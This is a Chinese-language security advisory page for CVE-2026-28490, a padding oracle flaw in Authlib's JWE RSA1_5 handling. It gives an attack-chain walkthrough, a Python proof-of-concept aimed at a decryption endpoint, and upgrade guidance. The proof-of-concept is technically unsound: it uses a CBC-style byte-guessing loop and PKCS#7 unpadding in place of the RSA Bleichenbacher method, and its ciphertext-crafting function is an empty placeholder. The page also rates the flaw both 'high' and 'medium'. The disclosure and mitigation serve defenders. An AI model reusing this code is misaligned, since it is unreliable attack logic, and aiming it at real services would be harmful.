IPBUF安全漏洞报告
English
CVE-2026-28490 CVSS 6.5 中危

CVE-2026-28490: Authlib JWE RSA1_5密码填充Oracle漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-28490
漏洞类型
密码填充Oracle攻击
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Authlib

相关标签

CVE-2026-28490Authlib密码填充OracleBleichenbacher攻击JWERSA1_5JSON Web EncryptionOAuthOpenID ConnectPython

漏洞概述

CVE-2026-28490是Authlib Python库中的一个高危安全漏洞,存在于JSON Web Encryption (JWE)的RSA1_5密钥管理算法实现中。Authlib是一个用于构建OAuth和OpenID Connect服务器的Python库。该漏洞的本质是密码学填充Oracle攻击(Padding Oracle Attack),这是Bleichenbacher攻击的变体。攻击者可以利用此漏洞对加密通信进行解密攻击,窃取敏感信息。问题在于Authlib在默认算法注册表中注册了RSA1_5算法,且无需用户明确选择即可使用。更严重的是,Authlib的实现主动破坏了底层密码学库正确实现的常数时间Bleichenbacher缓解措施,从而将原本安全的实现转变为易受攻击的状态。该漏洞影响Authlib 1.6.9之前的所有版本,CVSS评分6.5,属于中等严重程度。攻击者可通过网络远程利用此漏洞,无需认证即可发起攻击,主要影响数据的机密性。

技术细节

该漏洞是经典的Bleichenbacher填充Oracle攻击的变体。Bleichenbacher攻击于1998年首次公开,针对使用RSA PKCS#1 v1.5填充的TLS实现。攻击原理是利用RSA解密过程中的填充验证错误。Authlib的问题在于其JWE RSA1_5实现中:1) 将RSA1_5注册为默认算法,用户无需显式选择即可使用不安全的算法;2) 在处理RSA解密时,Authlib的实现会泄露填充验证的中间状态信息,破坏了底层密码学库的常数时间保护机制。具体来说,当接收加密的JWE令牌时,Authlib会执行RSA解密并验证PKCS#1填充。如果攻击者能够观察到解密失败时的错误响应(如填充格式错误、截断等),就可以通过发送精心构造的密文来逐步推断出明文内容。攻击者需要构造特定格式的密文,通过观察Oracle响应(有效填充vs无效填充),使用二分搜索等技术在约2^20次查询内解密任意密文。此攻击的复杂度为约100万次请求,对于攻击者来说是可以实现的。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用使用Authlib库处理JWE令牌,并确认使用了不安全的RSA1_5算法。攻击者获取加密的JWE令牌作为攻击起点。
STEP 2
步骤2: 构造恶意密文
攻击者利用RSA数学特性,构造一系列精心设计的密文。这些密文在解密后会产生具有特定填充格式的中间值,触发填充验证Oracle响应。
STEP 3
步骤3: Oracle探测
攻击者向目标服务器发送大量构造的密文,观察服务器的不同响应(如错误消息、响应时间等)。有效的填充响应和无效填充响应之间的差异构成了Oracle。
STEP 4
步骤4: 二分搜索解密
通过Oracle响应,攻击者使用类似Bleichenbacher的算法,通过约2^20次查询,逐步推断出每个字节的明文值。每次查询都将搜索空间减半。
STEP 5
步骤5: 提取敏感信息
成功解密后,攻击者获得JWE令牌的原始内容,可能包含OAuth令牌、用户凭证、会话密钥或其他敏感数据,可用于进一步攻击或身份冒充。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-28490 PoC - Padding Oracle Attack on Authlib JWE RSA1_5 # This is a simplified demonstration of the attack concept def create_crafted_ciphertext(original_ciphertext, target_block): """ Craft a modified ciphertext for oracle testing. In real attack, this would be modified to test different padding conditions. """ # Modify the ciphertext to test oracle responses modified = bytearray(original_ciphertext) modified[0] ^= 0x01 # Flip bits to potentially create valid-looking padding return bytes(modified) def padding_oracle_attack(target_url, encrypted_token): """ Perform padding oracle attack to decrypt JWE RSA1_5 encrypted tokens. Args: target_url: URL endpoint that decrypts JWE tokens encrypted_token: Base64-encoded JWE token Returns: Decrypted plaintext """ plaintext = b'' block_size = 256 # RSA-2048 block size # For each block, use oracle to recover plaintext for block_num in range(get_block_count(encrypted_token)): block_ciphertext = extract_block(encrypted_token, block_num) recovered_block = b'' # Oracle-guided decryption (Bleichenbacher style) for byte_pos in range(block_size): for guess in range(256): crafted = craft_ciphertext(block_ciphertext, byte_pos, guess) # Send to oracle and check response if oracle_check(target_url, crafted): # Valid padding found, extract byte recovered_block += bytes([guess]) break plaintext += recovered_block return unpad_pkcs7(plaintext) def oracle_check(url, ciphertext): """ Check if the padding oracle accepts the ciphertext. Returns True if padding is valid, False otherwise. """ response = requests.post(url, json={'token': ciphertext}) # Oracle responses that indicate padding validity if response.status_code == 200: return True elif 'padding' in response.text.lower() or 'decrypt' in response.text.lower(): return False else: # Invalid padding detected return False def craft_ciphertext(original, position, guess): """ Craft ciphertext for oracle testing at specific byte position. Implements the mathematical transformation needed for Bleichenbacher attack. """ # Simplified: In real attack, use RSA mathematical properties # to construct ciphertexts that will decrypt to values with specific byte patterns return original # Placeholder for actual implementation def get_block_count(encrypted_token): """Calculate number of RSA blocks in the encrypted token.""" return len(encrypted_token) // 256 def extract_block(token, block_num): """Extract specific RSA block from encrypted token.""" start = block_num * 256 return token[start:start + 256] def unpad_pkcs7(data): """Remove PKCS#7 padding from decrypted data.""" padding_len = data[-1] return data[:-padding_len] # Example vulnerable endpoint VULNERABLE_ENDPOINT = "https://example.com/api/decrypt" # Example encrypted JWE token ENCRYPTED_TOKEN = "eyJhbGciOiJSU0ExIn0..." # Truncated for example if __name__ == "__main__": print("CVE-2026-28490 - Authlib JWE RSA1_5 Padding Oracle PoC") print("=" * 60) print("Target: Authlib < 1.6.9 with JWE RSA1_5 algorithm") print("Vulnerability: Padding Oracle (Bleichenbacher variant)") print("=" * 60) # Note: This PoC demonstrates the attack concept # Actual implementation requires understanding the specific oracle behavior # and proper RSA mathematical transformations

影响范围

Authlib < 1.6.9

防御指南

临时缓解措施
立即升级Authlib到版本1.6.9或更高版本。如果暂时无法升级,可在JWE配置中禁用RSA1_5算法,改为使用RSA-OAEP或ECDH-ES等更安全的密钥管理算法。同时建议审查应用程序中所有使用JWE的地方,确保没有硬编码或默认使用不安全的算法。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表